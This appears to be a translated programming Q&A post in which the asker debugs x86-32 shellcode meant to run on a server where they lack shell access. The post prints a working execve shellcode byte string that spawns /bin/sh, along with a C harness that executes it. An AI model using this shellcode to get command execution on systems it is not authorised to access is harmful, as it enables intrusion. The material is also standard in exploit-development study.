Я пытаюсь запустить шелл-код на сервере, где у меня нет доступа к оболочке, но у меня есть доступ к моему собственному исполняемому скрипту bash.
Мой шеллкод выглядит так:
unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
Когда я запускаю его локально, я создаю оболочку с кодом. Я также могу запускать другие команды, такие как /bin/ls... Однако, когда я пытаюсь изменить /bin/sh на ./abcde, мой исполняемый файл не запускается.
unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff./abcde";
Что я делаю неправильно? Я на машине x86-32..
РЕДАКТИРОВАТЬ: Чтобы сделать это более понятным, это сценарий:
unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
unsigned char code1[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff./abcde";
int main(void){
void (*f)(void);
f = (void (*)(void))code; //works
f = (void (*)(void))code1; //Does NOT work
f();
}
/home/user/abcde
- person Sakthi Kumar   schedule 25.02.2014